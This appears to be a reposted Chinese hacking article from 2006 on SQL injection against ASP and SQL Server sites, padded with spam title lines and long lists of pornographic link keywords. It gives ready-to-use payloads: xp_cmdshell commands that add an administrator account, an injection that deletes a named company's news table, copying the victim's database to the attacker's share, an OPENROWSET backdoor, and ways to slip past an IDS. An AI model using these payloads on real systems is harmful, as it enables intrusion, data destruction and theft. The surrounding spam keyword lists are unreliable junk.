国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關(guān)注微信公眾號

SQL數(shù)據(jù)庫的一些攻擊
2006-12-12   

對于國內(nèi)外的很多新聞,BBS和電子商務網(wǎng)站都采用ASP+SQL設計,而寫 ASP的程序員很多(有很多剛剛畢業(yè)的),所以,ASP+SQL的攻擊成功率也比較高。這類攻擊方法與NT的版本和SQL的版本沒有多大的關(guān)系,也沒有相應的補丁,因為漏洞是程序員自己造成的,而且大多數(shù)講解ASP編程的書上,源代碼例子就有這個漏洞存在,其實只是一些合法的ASP對SQL的請求,就留下后患無窮!a這種攻擊方法最早源于'or'1'='1的漏洞(我們暫且稱其為漏洞),這個漏洞的原理我想大家因該都知道了,那么隨之而來的便是;exec sp_addlogin hax(在數(shù)據(jù)庫內(nèi)添加一個hax用戶),但是這個方法的限制很大,首先ASP使用的SQL Server賬號是個管理員,其次請求的提交變 量在整個SQL語句的最后,因為有一些程序員采用SELECT * FROM news WHERE  id=... AND topic=... AND .....這種方法請求數(shù)據(jù)庫,那么如果還用以上的例子就會news.asp?id=2;exec sp_addlogin hax變成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic= ... AND ...整個SQL語句在執(zhí)行sp_addlogin的存儲過程后有AND與判斷存在,語法錯誤,你的sp_addlogin 自然也不能正常運行了,因此試試看下面這個方法

news.asp?id=2;exec sp_addlogin hax;--后面的--符號把sp_addlogin后的判斷語句變成了注釋,這樣就不會有語法錯誤了,sp_addlogin正常執(zhí)行!那么我們連一起來用吧

news.asp?id=2;exec master.dbo. sp_addlogin hax;--news.asp?id=2;exec master.dbo. sp_password null,hax,hax;--news.asp?id=2;exec master.dbo. sp_addsrvrolemember sysadmin hax;--news.asp?id=2;exec master.dbo. xp_cmdshell 'net user hax hax /workstations:*  /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup  administrators hax /add';--

這樣,你在他的數(shù)據(jù)庫和系統(tǒng)內(nèi)都留下了hax管理員賬號了當然,前提條件是ASP用管理員賬號,所以虛擬空間大家就別試了,不會存在這個漏洞的。以后我們會討論,如果對方的ASP不是用SQL管理員賬號,我們?nèi)绾稳肭郑斎灰矔婕暗?433端口的入侵當然大家可以試試看在id=2后面加上一個'符號,主要看對方的ASP怎么寫了 。再說說當ASP程序使用的SQL賬號不是管理員的時候我們該如何做。

你如天融信的主頁,有新聞內(nèi)容,如下:http://www.talentit.com.cn/news/news-2.asp?newid=117大家可以試試看http://www.talentit.com.cn/news/news-2.asp? newid=117;select 123;--呵呵,報語法錯誤,select 123錯誤,顯而易見,天融新的ASP在newid變量后面用'號結(jié)束那么試試看http://www.talentit.com.cn/news/news-2.asp? newid=117';delete news;--哈哈,我想只要表名猜對了,新聞庫就被刪了  

通常ASP用的SQL賬號就算不是管理員也會是某個數(shù)據(jù)庫的owner,至少對于這個庫有很高的管理權(quán)限但是我們不知道庫名該怎么?看看db_name()函數(shù)吧打開你的query analyzer,看看print db_name() ,呵呵,當前的數(shù)據(jù)庫名就出來了以次類推,如下:declare @a sysname;set @a=db_name();backup  database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';--呵呵,他的當前數(shù)據(jù)庫就備份到你的硬盤上了,接下來要做的大家心里都明白了吧同理這個方法可以找到對方的SQL的IP先裝一個防火墻,打開ICMP和139TCP和445TCP的警告提示然后試試看news.asp?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP'如果防火墻提示有人ping你,那么因該可以肯定對方的ASP用的是SQL的管理員權(quán)限, 同時也確定了對方的SQL Server的準確位置,因為很多大一點的網(wǎng)站考慮性能,會吧web服務和數(shù)據(jù)庫分開,當對方大上了補丁看不到源代碼時,我想只有這個方法能很快的定位對方的SQL Server的位置了那么,如果對方ASP沒有SQL管理員權(quán)限,我們就不能調(diào)用xp_cmdshell了,該怎 么辦?別著急,試試看這個news.asp?id=2;declare @a;set @a=db_name();backup  database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';--呵呵,你的防火墻該發(fā)出警告了,有人連接你的445或139(win9端口了,這樣,對方的SQL的ip一樣也可以暴露那么如果對方連某個數(shù)據(jù)庫的owner也不是的話,我們該怎么辦?下次我會告訴大家一個更好的辦法。其實backuo database到你的硬盤還是有點夸張了,如果對方數(shù)據(jù)庫很龐大,你又是撥號上網(wǎng),呵呵,勸你別試了,很難成功傳輸?shù)南麓挝覀冞€會談到如何騙過IDS執(zhí)行ASP+SQL入侵目前有些好的IDS已經(jīng)開始監(jiān)視xp_cmdshell這些關(guān)鍵字了好吧,同志們下次見  

所有以上url希望大家通過vbscript提交,因為瀏覽器的地址欄會屏蔽一些特殊字符,這樣你的命令就不能完整傳輸了window.location.herf=URL

補充:這個問題以前載網(wǎng)上也提出來過,但是只是一些簡單的xp_cmdshell調(diào)用限制很大,其實這里面還有很多值得深入的地方比如 www.guosen.com.cn。國信證卷就有這個問題,而且他們采用ms的三層結(jié)構(gòu)作的用以前說的xp_cmdshell做法就不行了,字符串會被過濾,但是我嘗試了,用sql的異類請求仍然可以在對方的機器上開啟telnet服務和administrators組的賬號!由于對方防火墻很嚴checkpoint數(shù)據(jù)報進出 都只開放80端口因此,要想獲得他的數(shù)據(jù)庫結(jié)構(gòu)比較困難了,但是還是有辦法可以做到的:P  順便提醒大家注意一下關(guān)于sqloledb,db_name,openrowset,opendatasource這些系統(tǒng) 函數(shù)當asp的sqlserver賬號只是一個普通用戶時,他們會很有用的!  sql server新漏洞和一些突破口下面我要談到一些sqlserver新的bug,雖然本人經(jīng)過長時間的努力,當然也有點幸運的成分在內(nèi),才得以發(fā)現(xiàn),不敢一個人獨享,拿出來請大家鑒別,當然很有可能有些高手早已知道了,畢竟我接觸sqlserver的時間不到1年

1。關(guān)于openrowset和opendatasource  可能這個技巧早有人已經(jīng)會了,就是利用openrowset發(fā)送本地命令 通常我們的用法是(包括MSDN的列子)如下  select * from openrowset('sqloledb','myserver';'sa';'','select * from table')  可見(即使從字面意義上看)openrowset只是作為一個快捷的遠程數(shù)據(jù)庫訪問,它必須跟在 select后面,也就是說需要返回一個recordset  那么我們能不能利用它調(diào)用xp_cmdshell呢?答案是肯定的!  select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec  master.dbo.xp_cmdshell ''dir c:\''')  必須加上set fmtonly off用來屏蔽默認的只返回列信息的設置,這樣xp_cmdshell返回的output集合就會提交給前面的select顯示,如果采用

默認設置,會返回空集合導致select出錯,命令也就無法執(zhí)行了。那么如果我們要調(diào)用sp_addlogin呢,他不會像xp_cmdshell返回任何集合的,我們就不能再依靠fmtonly設置了,可以如下操作  select * from openrowset('sqloledb','server';'sa';'','select ''OK!''  exec master.dbo.sp_addlogin Hectic')  這樣,命令至少會返回select 'OK!'的集合,你的機器商會顯示OK!,同時對方的數(shù)據(jù)庫內(nèi) 也會增加一個Hectic的賬號,也就是說,我們利用select 'OK!'的返回集合欺騙了本地的select請求,是命令能夠正常執(zhí)行,通理 sp_addsrvrolemember和opendatasource也可以如此操作!至于這個方法真正的用處,大家慢慢想吧

2。關(guān)于msdasql兩次請求的問題  不知道大家有沒有試過用msdasql連接遠程數(shù)據(jù)庫,當然這個api必須是sqlserver的管理員才可以調(diào)用,那么如下  select * from openrowset('msdasql','driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master; network=dbmssocn','select * from table1 select * from table2')  當table1和table2的字段數(shù)目不相同時,你會發(fā)現(xiàn)對方的sqlserver崩潰了,連本地連接都會失敗,而系統(tǒng)資源占用一切正常,用pskill殺死sqlserver進程后,如果不重啟機器,sqlserver要么無法正常啟動,要么時常出現(xiàn)非法操作,我也只是碰巧找到這個bug的,具體原因我還沒有 摸透,而且很奇怪的是這個現(xiàn)象只出現(xiàn)在 msdasql上,sqloledb就沒有這個問題,看來問題不是在于請求集合數(shù)目和返回集合數(shù)目不匹配上,因該還是msdasql本身的問題,具體原因,大家一起慢慢研究吧

3??膳碌暮箝T  以前在網(wǎng)上看到有人說在sqlserver上留后門可以通過添加triger,jobs或改寫sp_addlogin和 sp_addsrvrolemember做到,這些方法當然可行,但是很容易會被發(fā)現(xiàn)。不知道大家有沒有想過sqloledb的本地連接映射。呵呵,比如你在對方的sqlserver上用sqlserver的管理員賬號執(zhí)行如下的命令  select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic',' set fmtonly off exec master..xp_cmdshell ''dir c:\''')  這樣在對方的sqlserver上建立了一個名為Hectic的本地連接映射,只要sqlserver不重啟,這個映射會一直存在下去,至少我現(xiàn)在還不知道如何發(fā)現(xiàn)別人放置的連接映射 ,好了,以上的命令運行過后,你會發(fā)現(xiàn)哪怕是sqlserver沒有任何權(quán)限的guest用戶,運行以上這條命令也一樣能通過!而且權(quán)限是localsystem?。J安裝)呵呵!這個方法可以用來在以被入侵過獲得管理員權(quán)限的 sqlserver上留下一個后門了。

以上的方法在sqlserver2000+sqlserver2000SP1上通過!

*另外還有一個猜測,不知道大家有沒有注意過windows默認附帶的兩個dsn,一個是localserver一個是msqi,這兩個在建立的時候是本地管理 員賬號連接sqlserver的,如果對方的sqlserver是通過自定義的power user啟動, 那么sa的權(quán)限就和power user一樣,很難有所大作為,但是我們通過如下的命令  select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes', 'set fmtonly off exec master..xp_cmdshell ''dirc:\''')應該可以利用localserver的管理員賬號連接本地sqlserver然后再以這個賬號的權(quán)限執(zhí)行本地命令了,這是后我想應該能突破sa那個power user權(quán)限了?,F(xiàn)在的問題是sqloledb無法調(diào)用dsn連接,而msdasql 非管理員不讓調(diào)用,所以我現(xiàn)在正在尋找guest調(diào)用msdasql的方法,如果有人知道這個bug如何突破,或有新的想法,我們可以一起討論一下,這個發(fā)放如果能成功被guest利用,將會是一個很嚴重的安全漏洞。

因為我們前面提到的任何sql語句都可以提交給對方的asp去幫我們執(zhí)行

利用t-sql騙過ids或攻擊ids

現(xiàn)在的ids已經(jīng)變得越來越聰明了  有的ids加入了xp_cmdshell sp_addlogin 的監(jiān)視  但是畢竟人工智能沒有出現(xiàn)的今天,這種監(jiān)視總是有種騙人的感覺  先說說欺騙ids:  ids既然監(jiān)視xp_cmdshell關(guān)鍵字,那么我們可以這么做  declare @a sysname set @a="xp_"+"cmdshell" exec @a 'dir c:\'  這個代碼象性大家都能看明白,還有xp_cmdshell作為一個store procedure 在master庫內(nèi)有一個id號,固定的,我們也可以這么做  假設這個id=988456  declare @a sysname select @a=name from sysobjects where id=988456  exec @a 'dir c:\'  當然也可以  declare @a sysname select @a=name from sysobjects where id=988455+1  exec @a 'dir c:\'  這種做法排列組合,ids根本不可能做的到完全監(jiān)視  同理,sp_addlogin也可以這么做再說說攻擊ids:  因為ids數(shù)據(jù)量很大,日至通常備份到常規(guī)數(shù)據(jù)庫,比如sql server如果用古老的recordset.addnew做法,會嚴重影響ids的性能,因為通過ado做t-sql請求, 不但效率高,而且有一部分工作可以交給sql server去做通常程序會這么寫  insert table values ('日至內(nèi)容',...)  那么我么想想看,如果用  temp') exec xp_cmdshell 'dir c:\' --  提交后會變成  insert table values ('日至內(nèi)容'....'temp') exec xp_cmdshell  'dir c:\' -- ')  這樣,xp_cmdshell就可以在ids的數(shù)據(jù)庫運行了 :)  當然ids是一個嗅嘆器,他會抓所有的報,而瀏覽器提交的時候會把空格變成%20因此,%20會被提交到sql server,這樣你的命令就無法執(zhí)行了  唯一的辦法就是insert/**/table/**/values('日至內(nèi)容'....'temp')/**/exec/**/ xp_cmdshell/**/'dir c:\'/**/-- ')  用/**/代替空格做間隔符,這樣你的t-sql才能在ids的數(shù)據(jù)庫內(nèi)執(zhí)行淡然也可以用其他語句,可以破壞,備份ids的數(shù)據(jù)庫到你的共享目錄  呵呵  其實這種方法的原理和攻擊asp是一樣的,只是把空格變成了/**/  本來asp是select語句,那么用'就可以屏蔽  現(xiàn)在ids用insert語句,那么用')屏蔽

好了,其他很多新的入侵語句大家可以自己慢慢想,最好的測試工具就是query analyzer了。


熱詞搜索:

上一篇:如何防范網(wǎng)站數(shù)據(jù)庫入侵
下一篇:數(shù)據(jù)庫安全:當SQL Server數(shù)據(jù)庫崩潰時如何恢復

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
9191国产精品| 欧美性欧美巨大黑白大战| 亚洲v中文字幕| 亚洲黄色性网站| 亚洲另类春色国产| 国产精品久久久久久久浪潮网站| 欧美sm美女调教| 欧美成人bangbros| 精品国产伦一区二区三区观看方式 | 欧美α欧美αv大片| 制服丝袜亚洲网站| 日韩欧美一级二级| 精品国产乱码久久久久久闺蜜 | 久久免费看少妇高潮| 日韩区在线观看| 日韩精品一区二区三区四区 | 欧美色国产精品| 在线观看不卡一区| 欧美精品视频www在线观看 | 欧美国产97人人爽人人喊| 国产精品欧美久久久久一区二区| 国产精品久久久久影院亚瑟| 亚洲欧美视频在线观看| 亚洲在线免费播放| 日韩成人精品在线| 久久 天天综合| 国产成人精品免费一区二区| 一本久久精品一区二区| 欧美日韩综合在线| 精品美女被调教视频大全网站| 久久婷婷国产综合国色天香 | 91丨porny丨国产入口| 欧美手机在线视频| 日韩欧美高清一区| 日本一区二区三区四区| 亚洲成人动漫在线免费观看| 国产自产视频一区二区三区| 成人91在线观看| 欧美另类变人与禽xxxxx| 日韩精品中午字幕| 国产精品久久久久久久久快鸭| 伊人婷婷欧美激情| 精品在线观看视频| 在线日韩国产精品| 久久亚洲春色中文字幕久久久| 综合激情网...| 久久aⅴ国产欧美74aaa| 一本在线高清不卡dvd| 欧美大白屁股肥臀xxxxxx| 欧美激情自拍偷拍| 男女性色大片免费观看一区二区| jizzjizzjizz欧美| 欧美一级精品大片| 亚洲精品一二三四区| 久久激情五月婷婷| 欧美主播一区二区三区| 国产精品理论在线观看| 久久国产乱子精品免费女| 欧美视频在线一区二区三区 | 成人免费观看男女羞羞视频| 欧美一区二区三区视频免费 | 2023国产精品自拍| 亚洲成在线观看| 91麻豆成人久久精品二区三区| 久久亚洲综合色一区二区三区| 日韩在线a电影| 欧美综合亚洲图片综合区| 中文字幕乱码亚洲精品一区| 国产一区免费电影| 日韩一区二区三区在线观看| 亚洲在线视频免费观看| 91一区在线观看| 亚洲三级小视频| 91麻豆国产福利在线观看| 国产精品免费视频一区| 欧美视频一区二| 亚洲精品中文在线观看| 色综合 综合色| 亚洲精品免费视频| 色综合一区二区| 亚洲视频你懂的| 一本大道久久a久久综合婷婷 | 欧美日韩国产综合久久| 亚洲愉拍自拍另类高清精品| 91黄色激情网站| 亚洲精品欧美激情| 欧美在线看片a免费观看| 一区二区三区美女视频| 欧美亚洲一区二区在线| 亚洲国产cao| 欧美一级欧美一级在线播放| 麻豆免费看一区二区三区| 日韩三级伦理片妻子的秘密按摩| 久久99久久精品| 久久影院视频免费| 成人av在线资源网| 一区二区三区加勒比av| 欧美肥大bbwbbw高潮| 免费在线观看一区| 久久久亚洲精品石原莉奈| 成人妖精视频yjsp地址| 夜夜揉揉日日人人青青一国产精品| 欧美揉bbbbb揉bbbbb| 毛片av中文字幕一区二区| 国产亚洲精品福利| 日本高清不卡aⅴ免费网站| 亚洲电影你懂得| 精品国产一区二区三区不卡| 成人午夜激情在线| 亚洲免费高清视频在线| 6080国产精品一区二区| 国产精品123区| 悠悠色在线精品| 精品国产乱码久久久久久蜜臀| 91在线视频网址| 青青青伊人色综合久久| 国产精品无人区| 欧美电影一区二区| 成人午夜碰碰视频| 日精品一区二区| 日韩美女视频一区二区| 欧美成人伊人久久综合网| 99国产一区二区三精品乱码| 青草av.久久免费一区| 国产精品私人自拍| 欧美一区二区视频免费观看| 粉嫩久久99精品久久久久久夜| 日韩精品国产欧美| 国产精品久久久久aaaa樱花 | 美女在线一区二区| 亚洲欧美激情视频在线观看一区二区三区| 精品久久久网站| 色综合久久天天| 国产精品亚洲视频| 蜜桃视频在线一区| 亚洲一区二三区| 国产精品国产成人国产三级 | eeuss鲁片一区二区三区| 日本午夜精品一区二区三区电影| 精品国产乱码久久久久久浪潮| 国产亚洲精品免费| 欧美三级韩国三级日本一级| 日韩午夜激情av| 欧美在线一二三| 国产精品自拍av| 亚洲欧洲在线观看av| 一本一道波多野结衣一区二区| 亚洲国产精品影院| 久久久噜噜噜久久人人看| 不卡高清视频专区| 老司机精品视频线观看86| 欧美v国产在线一区二区三区| 欧美大片国产精品| 99精品视频一区二区| 欧美日本在线播放| 成年人国产精品| 成人性生交大合| 国产激情视频一区二区三区欧美 | 成人免费视频播放| 国产高清亚洲一区| 国产一区二区三区| 国产一区二区伦理| 国产精品一二一区| 不卡的av在线| 99riav久久精品riav| 色综合天天综合色综合av | 国产精品成人在线观看| 中文字幕一区二区三区乱码在线| 国产精品视频yy9299一区| 国产精品不卡在线| 亚洲精品国产品国语在线app| 亚洲婷婷综合久久一本伊一区| 亚洲另类一区二区| 亚洲一区二区四区蜜桃| 亚洲电影一级片| 精品系列免费在线观看| 精品一区二区综合| 国产成人精品免费在线| 99re热这里只有精品免费视频| 欧美在线free| 日韩欧美亚洲国产另类| 久久亚洲欧美国产精品乐播| 国产精品久久久久久久久免费相片 | 国产乱码精品一区二区三 | 亚洲一区在线观看免费 | 国产视频一区二区三区在线观看| 国产精品国产三级国产普通话三级 | 亚洲美女淫视频| 午夜av一区二区三区| 精品写真视频在线观看| 91猫先生在线| 日韩欧美国产一区二区在线播放| 欧美国产欧美亚州国产日韩mv天天看完整| 日韩精品电影在线观看| 日本欧美一区二区| 成人免费视频视频在线观看免费| 91成人免费网站| 欧美精品一区二区在线观看| 一区二区三区四区高清精品免费观看 | 国产精品午夜电影|